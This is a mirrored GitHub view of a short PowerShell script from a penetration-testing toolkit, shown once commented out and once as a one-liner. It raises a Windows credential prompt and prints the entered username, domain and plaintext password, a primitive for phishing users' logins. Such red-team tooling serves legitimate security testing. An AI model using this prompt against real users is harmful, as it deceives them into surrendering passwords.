mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-23 09:29:46 +01:00
18 lines
553 B
PowerShell
18 lines
553 B
PowerShell
|
<#
|
||
|
|
||
|
try {
|
||
|
(Get-Credential -Credential $null).GetNetworkCredential() |
|
||
|
Select-Object @{name="User"; expression = {
|
||
|
If ($_.Domain -ne [string]::Empty) {
|
||
|
"{0}\{1}" -f ($_.Domain), ($_.UserName)
|
||
|
} Else {
|
||
|
$_.UserName
|
||
|
}
|
||
|
}
|
||
|
}, Password | Format-List
|
||
|
} catch {
|
||
|
}
|
||
|
|
||
|
#>
|
||
|
|
||
|
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { }
|